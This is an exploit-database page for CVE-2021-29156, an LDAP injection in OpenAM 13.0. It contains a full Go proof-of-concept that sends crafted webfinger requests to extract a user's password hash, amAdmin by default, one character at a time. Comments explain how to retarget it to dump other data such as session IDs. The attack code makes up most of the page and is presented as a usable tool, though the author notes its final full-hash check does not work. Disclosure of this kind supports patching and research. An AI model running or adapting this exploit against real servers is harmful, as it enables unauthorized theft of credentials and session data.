OpenAM 13.0 LDAP Injection

2021.11.07
Risk: High
Local: No
Remote: Yes
CWE: CWE-74


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: OpenAM 13.0 - LDAP Injection # Date: 03/11/2021 # Exploit Author: Charlton Trezevant, GuidePoint Security # Vendor Homepage: https://www.forgerock.com/ # Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0, # https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam # Version: OpenAM v13.0.0 # Tested on: go1.17.2 darwin/amd64 # CVE: CVE-2021-29156 # # This vulnerability allows an attacker to extract a variety of information # (such as a user’s password hash) from vulnerable OpenAM servers via LDAP # injection, using a character-by-character brute force attack. # # https://github.com/guidepointsecurity/CVE-2021-29156 # https://nvd.nist.gov/vuln/detail/CVE-2021-29156 # https://portswigger.net/research/hidden-oauth-attack-vectors package main // All of these dependencies are included in the standard library. import ( "container/ring" "fmt" "math/rand" "net/http" "net/url" "sync" "time" ) func main() { // Base URL of the target OpenAM instance baseURL := "http://localhost/openam/" // Local proxy (such as Burp) proxy := "http://localhost:8080/" // Username whose hash should be dumped user := "amAdmin" // Configurable ratelimit // This script can go very, very fast. But it's likely that would overload Burp and the target server. // The default ratelimit of 6 can retrieve a 60 character hash through a proxy in about 5 minutes and // ~1700 requests. rateLimit := 6 // Beginning of the LDAP injection payload. %s denotes the position of the username. payloadUsername := fmt.Sprintf(".well-known/webfinger?resource=http://x/%s)", user) partURL := fmt.Sprintf("%s%s", baseURL, payloadUsername) // Your LDAP injection payloads. %s denotes the position at which the constructed hash + next test character // will be inserted. // These are configured to dump password hashes. But you can reconfigure them to dump other data, such as // usernames/session IDs/etc depending on your use case. // N.B. you will likely need to update the brute-forcing keyspace depending on the data you're trying to dump. testCharPayload := "(sunKeyValue=userPassword=%s*)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer" testCrackedPayload := "(sunKeyValue=userPassword=%s)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer" // The keyspace for brute-forcing individual characters is stored in a ringbuffer // You may need to change how this is initialized depending on the types of data you're // trying to retrieve. By default, this is configured for password hashes. dict := makeRing() // Working characters for each step are concatenated with this string. Further tests are conducted // using this value as it's built. // Importantly, if you already have part of the hash you can put it here as a crib. This allows you // to resume a previous brute-forcing session. password := "" proxyURL, _ := url.Parse(proxy) // You can modify the HTTP client configuration below. // For example, to disable the HTTP proxy or set a different // request timeout value. client := &http.Client{ Transport: &http.Transport{ Proxy: http.ProxyURL(proxyURL), }, Timeout: 30 * time.Second, } // Channels used for internal signaling cracked := make(chan string, 1) foundChar := make(chan string, 1) wg := &sync.WaitGroup{} wg.Add(1) // All hacking tools need a header. You may experience a 10-15x performance improvement // if you replace the flower-covered header with the gothic bleeding/flaming/skull-covered // ASCII art typical of these kinds of tools. printHeader() loop: for { select { case <-cracked: // Full hash test succeeds, terminate everything // N.B. this feature does not work, see my comments on checkCracked. fmt.Printf("Cracked! Password hash is: \"%s\"\n", password) wg.Done() break loop case char := <-foundChar: // In the event that a test character succeeds, that thread will pass it along in the // foundChar channel to signal success. It's then concatenated with the known-good // password hash and the whole thing is tested in a query // This doesn't work because OpenAM doesn't respond to direct queries containing the password hash // in the manner I expect. But it might still work for other types of data. password += char fmt.Printf("Progress so far: '%s'\n", password) // Forgive these very ugly closures go (func(client *http.Client, url, payload *string, password string, cracked *chan string) { // Add random jitter before submitting request time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond) time.Sleep(1 * time.Second) checkCracked(client, url, payload, &password, cracked) })(client, &partURL, &testCharPayload, password, &cracked) default: for i := 0; i < rateLimit-1; i++ { testChar := dict.Value.(string) go (func(client *http.Client, url, payload *string, password, testChar string, foundChar *chan string) { time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond) time.Sleep(1 * time.Second) getChar(client, url, payload, &password, &testChar, foundChar) })(client, &partURL, &testCrackedPayload, password, testChar, &foundChar) dict = dict.Next() } time.Sleep(1 * time.Second) } } wg.Wait() } // checkCracked tests a complete string in a query against the OpenAM server to // determine whether the exact, full hash has been retrieved. // This doesn't actually work, because the server doesn't respond as I'd expect // A better implementation would probably watch until all positions in the ringbuffer // are exhausted in testing and terminate (since there's no way to progress further) func checkCracked(client *http.Client, targetURL, payload, password *string, cracked *chan string) { fullPayload := fmt.Sprintf(*payload, url.QueryEscape(*password)) fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload) req, err := http.NewRequest("GET", fullURL, nil) if err != nil { fmt.Printf("checkCracked: %s", err.Error()) return } res, err := client.Do(req) if err != nil { fmt.Printf("checkCracked: %s", err.Error()) return } if res.StatusCode == 200 { *cracked <- *password return } if res.StatusCode == 404 { return } fmt.Printf("checkCracked: got status code of %d for payload %s", res.StatusCode, payload) } // getChar tests a given character at the end position of the configured payload and dumped hash progress. func getChar(client *http.Client, targetURL, payload, password, testChar *string, foundChar *chan string) { // Concatenate test character -> password -> payload -> attack URL combinedPass := url.QueryEscape(fmt.Sprintf("%s%s", *password, *testChar)) fullPayload := fmt.Sprintf(*payload, combinedPass) fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload) req, err := http.NewRequest("GET", fullURL, nil) if err != nil { fmt.Printf("getChar: %s", err.Error()) return } res, err := client.Do(req) if err != nil { fmt.Printf("getChar: %s", err.Error()) return } if res.StatusCode == 200 { *foundChar <- *testChar return } if res.StatusCode == 404 { return } fmt.Printf("getChar: got status code of %d for payload %s", res.StatusCode, payload) } // makeRing instantiates a ringbuffer and initializes it with test characters common in base64 // and password hash encodings. // Bruteforcing on a character-by-character basis can only go as far as your dictionary will take // you, so be sure to update these strings if the keyspace for your use case is different. func makeRing() *ring.Ring { var upcase string = `ABCDEFGHIJKLMNOPQRSTUVWXYZ` var lcase string = `abcdefghijklmnopqrstuvwxyz` var num string = `1234567890` var punct string = `$+/.=` var dictionary string = upcase + lcase + num + punct buf := ring.New(len(dictionary)) for _, c := range dictionary { buf.Value = fmt.Sprintf("%c", c) buf = buf.Next() } return buf } // printHeader is cool. func printHeader() { fmt.Printf(` _______ ,---. ,---. .-''-. / __ \ | / | | .'_ _ \ | ,_/ \__)| | | .'/ ( ' ) ' ,-./ ) | | _ | |. (_ o _) | \ '_ '') | _( )_ || (_,_)___| > (_) ) __\ (_ o._) /' \ .---. ( . .-'_/ )\ (_,_) / \ '-' / '-''-' / \ / \ / '._____.' '---' ''-..-' .'''''-. .-'''''''-. .'''''-. ,---. .'''''-. .-''''-. ,---. ,--------. .------. .---. / ,-. \ / ,'''''''. \ / ,-. \ /_ | / ,-. \ / _ _ \ /_ | | _____| / .-. \ \ / (___/ | ||/ .-./ ) \| (___/ | | ,_ | (___/ | || ( ' ) | ,_ | | ) / / '--' | | .' / || \ '_ .')|| .' / ,-./ )| _ _ _ _ .' / | (_{;}_) |,-./ )| | '----. | .----. \ / _.-'_.-' ||(_ (_) _)|| _.-'_.-' \ '_ '') ( ' )--( ' ) _.-'_.-' | (_,_) |\ '_ '')|_.._ _ '. | _ _ '. v _/_ .' || / . \ || _/_ .' > (_) )(_{;}_)(_{;}_)_/_ .' \ | > (_) ) ( ' ) \| ( ' ) \ _ _ ( ' )(__..--.|| '-''"' || ( ' )(__..--.( . .-' (_,_)--(_,_)( ' )(__..--. '----' |( . .-' _(_{;}_) || (_{;}_) |(_I_) (_{;}_) |\'._______.'/(_{;}_) | '-''-'| (_{;}_) | .--. / / '-''-'| | (_,_) / \ (_,_) /(_(=)_) (_,_)-------' '._______.' (_,_)-------' '---' (_,_)-------' )_____.' '---' '...__..' '...__..' (_I_) ~ ~ (c) 2021 GuidePoint Security - charlton.trezevant@guidepointsecurity.com ~ ~ `) }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top